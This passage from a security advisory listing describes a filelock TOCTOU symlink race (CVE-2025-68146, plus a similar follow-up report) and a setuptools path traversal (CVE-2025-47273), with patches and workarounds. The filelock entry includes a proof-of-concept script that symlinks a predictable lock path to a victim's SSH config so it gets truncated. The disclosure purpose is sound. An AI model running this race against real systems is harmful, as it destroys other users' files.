/path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ## References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@tsigouris007) | GCVE Database | ||
| Medium | 6.3 | EPSS 0.2% | CVE-2025-68146Prowler · filelock has a TOCTOU race condition which allows symlink attacks during lock file creation Medium6.3EPSS 0.2%GCVE DatabaseCVE-2025-68146 ### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ## Technical Details: How the Exploit Works ### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ### Step-by-Step Attack Flow **1. Attacker Setup:** ```python # Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") # Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock # Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE # At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix sys | GCVE Database | ||
| High | 8.7 | EPSS 1.6% | CVE-2025-47273Prowler: setuptools has a path traversal vulnerability in PackageIndex.download that leads to Arbitrary File Write High8.7EPSS 1.6%GCVE DatabaseCVE-2025-47273 ### Summary A path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1 ### Details ``` def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) ``` Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 `os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter. `name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. ### Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. ### Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. ### References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946 | GCVE Database |
Page 2 of 3